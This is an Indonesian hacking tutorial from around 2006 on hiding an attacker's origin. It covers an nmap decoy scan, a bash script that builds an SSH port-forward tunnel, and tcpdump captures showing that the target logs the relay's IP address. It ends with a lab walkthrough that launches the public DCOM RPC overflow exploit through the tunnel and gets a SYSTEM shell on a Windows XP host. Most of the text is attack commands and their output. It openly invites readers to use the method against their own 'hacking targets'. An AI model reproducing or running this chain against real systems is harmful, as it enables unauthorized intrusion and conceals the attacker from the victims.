ATTACK VIA TUNNELING, PIYE YOH..?!!
(By : Ph03n1X)

PENDAHULUAN

Opo yoh, bingung eee ? :(, saat seseorang melakukan attacking kita menginginkan agar anonimitas tetap terjaga, kalo untuk webhacking kita bisa menggunakan proxy untuk menjaga anonimitas, namun untuk kasus ketika attacking menggunakan metode scanning-telnet ada sebagian orang menggunakan server orang lain yang telah dikompromise, ada beberapa exploit yang minta priviledge root untuk pengekskusian script namun rasanya sangat disayangkan kalo shell root yang sudah dikompromise tadi sampai hilang karena attacking server. Ada pula beberapa anak yang meminta shell kepada temennya untuk melakukan attacking. Hmmm disini penulis memberikan suatu konsep bagaimana kita menjaga anonimitas walopun kita melakukan attacking dengan komputer pribadi.

ANONIMITAS SCANNING MENGGUNAKAN NMAP

Nmap menawarkan beragam metode scanning, mulai dari TCP scan, SYN scan, FIN scan, RST scan, XMAS scan, Idle Scan, Decoy scan dan lainnya. Salah satu metode scan untuk menjaga anonimitas yang paling penulis sukai adalah decoy scan metode. Berikut sebuah contoh decoy scan menggunakan nmap, target scan 172.16.80.123 port 80, attacker 172.16.80.234 dan IP yang digunakan untuk decoy scan 10.1.23.123, 192.168.0.234.

root@jancuk kaiten # **nmap -sS -v -p 80 -D 10.1.23.123,192.168.0.234 172.16.80.123**

```
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2006-03-03 12:41 WIT
Initiating SYN Stealth Scan against 172.16.80.123 [1 port] at 12:41
Discovered open port 80/tcp on 172.16.80.123
The SYN Stealth Scan took 0.02s to scan 1 total ports.
Host 172.16.80.123 appears to be up ... good.
Interesting ports on 172.16.80.123:
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:00:21:27:12:1F (Sureman COMP. & Commun.)

Nmap finished: 1 IP address (1 host up) scanned in 1.677 seconds
           Raw packets sent: 9 (324B) | Rcvd: 2 (92B)
```

TUNNELING ATTACK

Bagi yang biasa melakukan tunneling via ssh, untuk melewati proxy cara ini mungkin sudah tidak asing lagi. Sebuah simple bash script berikut bisa digunakan untuk melakukan attacking via ssh tunnel ;)

```
#!/bin/sh

echo "TUNNEL ATTACK CONCEPT";
echo -n "Masukkan ssh host [user@ssh_host] ...?  ";
read ssh_host;
echo -n "Masukkan Local Port ...?  ";
read local_port;
echo -n "Masukkan host target [target_host:port] ...?  ";
read target_host;
ssh -f $ssh_host -N -L $local_port:$target_host;
```

```
echo "Tunnel success";
#EoF
```

Pada tulisan ini penulis menyimpan script diatas dengan nama tunnel.sh, percobaan dilakukan menggunakan 3 komputer, Attacker A IP 172.16.80.235, ssh host B IP 172.16.80.234, dan target C IP 172.16.80.123, Berikut sebuah contoh banner grabbing ke port 80 mesin 172.16.80.123 dan snifing koneksi menngunakan tcpdump di port 80 host 172.16.80.123

1. Banner grab langsung ke 172.16.80.123:80 dari 172.16.80.235

Dimesin 172.16.80.235
---

kaiten@cecunguk:~$ **telnet 172.16.80.123 80**
Trying 172.16.80.123...
Connected to 172.16.80.123.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 400 Bad Request
Date: Fri, 03 Mar 2006 04:58:09 GMT
Server: Apache/2.0.55 (Unix) DAV/2
Connection: close
Content-Type: text/html; charset=iso-8859-1

Connection closed by foreign host.

Dimesin 172.16.80.123

[root@localhost ~]# **tcpdump -nne host 172.16.80.123 and tcp port 80**
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
11:58:04.389620 00:80:48:eb:50:f2 > 00:00:21:27:12:1f, ethertype IPv4 (0x0800), length 74: IP 172.16.80.235.1035 > 172.16.80.123.80: S 4143134625:4143134625(0) win 5840 <mss 1460,sackOK,timestamp 88214518 0,nop,wscale 0>
11:58:04.389739 00:00:21:27:12:1f > 00:80:48:eb:50:f2, ethertype IPv4 (0x0800), length 74: IP 172.16.80.123.80 > 172.16.80.235.1035: S 1244695358:1244695358(0) ack 4143134626 win 5792 <mss 1460,sackOK,timestamp 97174357 88214518,nop,wscale 2>
11:58:04.390202 00:80:48:eb:50:f2 > 00:00:21:27:12:1f, ethertype IPv4 (0x0800), length 66: IP 172.16.80.235.1035 > 172.16.80.123.80: . ack 1 win 5840 <nop,nop,timestamp 88214518 97174357>
11:58:09.951047 00:80:48:eb:50:f2 > 00:00:21:27:12:1f, ethertype IPv4 (0x0800), length 83: IP 172.16.80.235.1035 > 172.16.80.123.80: P 1:18(17) ack 1 win 5840 <nop,nop,timestamp 88215074 97174357>

dst .. <dawa ee>

terlihat jelas bahwa mesin attacker 172.16.80.235 melakukan request ke 172.16.80.123 ke port 80

2. Banner grab ke 172.16.80.123:80 dari 172.16.80.235 melalui tunnel

Dimesin 172.16.80.235
---

kaiten@cecunguk:~$ **telnet 127.0.0.1 3232**
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
HEAD / HTTP/1.1

HTTP/1.1 400 Bad Request
Date: Fri, 03 Mar 2006 05:05:16 GMT
Server: Apache/2.0.55 (Unix) DAV/2
Connection: close
Content-Type: text/html; charset=iso-8859-1

Connection closed by foreign host.

Dimesin 172.16.80.123

[root@localhost ~]# **tcpdump -nne host 172.16.80.123 and tcp port 80**
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
12:05:10.507480 00:c0:26:6f:3a:1a > 00:00:21:27:12:1f, ethertype IPv4 (0x0800), length 78: IP 172.16.80.234.17373 > 172.16.80.123.80: S 747909520:747909520(0) win 16384 <mss 1460,nop,nop,sackOK,nop,wscale 0,nop,nop,timestamp 2709961538 0>
12:05:10.507552 00:00:21:27:12:1f > 00:c0:26:6f:3a:1a, ethertype IPv4 (0x0800), length 74: IP 172.16.80.123.80 > 172.16.80.234.17373: S 1706015117:1706015117(0) ack 747909521 win 5792 <mss 1460,sackOK,timestamp 97600539 2709961538,nop,wscale 2>
12:05:10.508023 00:c0:26:6f:3a:1a > 00:00:21:27:12:1f, ethertype IPv4 (0x0800), length 66: IP 172.16.80.234.17373 > 172.16.80.123.80: . ack 1 win 16384 <nop,nop,timestamp 2709961538 97600539>
12:05:16.414923 00:c0:26:6f:3a:1a > 00:00:21:27:12:1f, ethertype IPv4 (0x0800), length 83: IP 172.16.80.234.17373 > 172.16.80.123.80: P 1:18(17) ack 1 win 16384 <nop,nop,timestamp 2709961550 97600539>

Sekarang bisa dilihat IP yang melakukan request ke 172.16.80.123:80 adalah IP 172.16.80.234 yang merupakan host ssh yang dipakai. Nah dari konsep ini silakan dicobakan untuk melakukan attacking terhadap target hacking anda. Namun dengan konsep ini paket data dirouting dari host attacker, host ssh, baru ke host target, jadi proses pengiriman data memiliki waktu lebih lama dibanding attacking langsung ke host target. Berikut ini sebuah contoh attacking ke sebuah target Win XP menggunakan DCOM exploits.
http://downloads.securityfocus.com/vulnerabilities/exploits/dcom.c
Target host 172.16.80.147, attacker host 172.16.80.123, ssh host 172.16.80.234.

[root@localhost tunnel_attack]# **ifconfig eth0**
eth0 Link encap:Ethernet HWaddr 00:00:21:27:12:1F
inet addr:**172.16.80.123** Bcast:172.16.80.255 Mask:255.255.255.0
inet6 addr: fe80::200:21ff:fe27:121f/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:229598 errors:0 dropped:0 overruns:0 frame:0
TX packets:260391 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:29209606 (27.8 MiB) TX bytes:33710156 (32.1 MiB)
Interrupt:11 Base address:0xd000

[root@localhost acak]# **sh tunnel.sh**
TUNNEL ATTACK CONCEPT

Masukkan ssh host [user@ssh_host] ...? kaiten@172.16.80.234
Masukkan Local Port ...? 135
Masukkan host target [target_host:port] ...? 172.16.80.147:135
kaiten@172.16.80.234's password:
Tunnel success

[root@localhost acak]# **sh tunnel.sh**
TUNNEL ATTACK CONCEPT
Masukkan ssh host [user@ssh_host] ...? kaiten@172.16.80.234
Masukkan Local Port ...? 4444
Masukkan host target [target_host:port] ...? 172.16.80.147:4444
kaiten@172.16.80.234's password:
Tunnel success

[root@localhost acak]# **./dcom 5 127.0.0.1**

- Remote DCOM RPC Buffer Overflow Exploit
- Original code by FlashSky and Benjurry
- Rewritten by HDM <hdm [at] metasploit.com>
- Using return address of 0x77e9afe3
- Dropping to System Shell...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>**ipconfig /all**
ipconfig /all

Windows IP Configuration

Host Name . . . . . : Sunset
Primary Dns Suffix . . . . . :
Node Type . . . . . : Unknown
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : lantai2.elektro
Description . . . . . : SMC EZ Card 10/100 (SMC1244TX V2)
Physical Address. . . . . : 00-50-BF-B4-D6-8B
Dhcp Enabled. . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IP Address. . . . . : 172.16.80.147
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : 172.16.80.1
DHCP Server . . . . . : 172.16.80.1
DNS Servers . . . . . : 222.124.24.18
202.152.4.227
Lease Obtained. . . . . : Friday, March 03, 2006 8:15:51 PM
Lease Expires . . . . . : Saturday, March 04, 2006 8:15:51 PM

C:\WINDOWS\system32>**netstat -an**
netstat -an

Active Connections

Proto	Local Address	Foreign Address	State
TCP	0.0.0.0:80	0.0.0.0:0	LISTENING
TCP	0.0.0.0:135	0.0.0.0:0	LISTENING
TCP	0.0.0.0:445	0.0.0.0:0	LISTENING
TCP	0.0.0.0:1025	0.0.0.0:0	LISTENING
TCP	0.0.0.0:3306	0.0.0.0:0	LISTENING
TCP	0.0.0.0:4444	0.0.0.0:0	LISTENING
TCP	0.0.0.0:5000	0.0.0.0:0	LISTENING
TCP	127.0.0.1:10110	0.0.0.0:0	LISTENING
TCP	172.16.80.147:139	0.0.0.0:0	LISTENING
TCP	**172.16.80.147:4444**	**172.16.80.234:43162**	**ESTABLISHED ←**
UDP	0.0.0.0:135	*:*	
UDP	0.0.0.0:445	*:*	
UDP	0.0.0.0:500	*:*	
UDP	0.0.0.0:1026	*:*	
UDP	0.0.0.0:1036	*:*	
UDP	127.0.0.1:123	*:*	
UDP	127.0.0.1:1035	*:*	
UDP	127.0.0.1:1040	*:*	
UDP	127.0.0.1:1900	*:*	
UDP	172.16.80.147:123	*:*	
UDP	172.16.80.147:137	*:*	
UDP	172.16.80.147:138	*:*	
UDP	172.16.80.147:1900	*:*	

C:\WINDOWS\system32>

PENUTUP

Seperti kata om sto, hacking adalah kreatifitas dan batasan hacking adalah kekreatifan sang pelaku hacking. Kekreatifan butuh banyak pengetahuan, so belajar dan praktik adalah solusi terbaik. Cheers :)

GREETZ :

- zhainal, no-profile, spyoff, singmbiyen, #indonesiahack, #e-c-h-o
- all crew nightlogin

REFERENSI

- ssh manual page
- milw0rm.com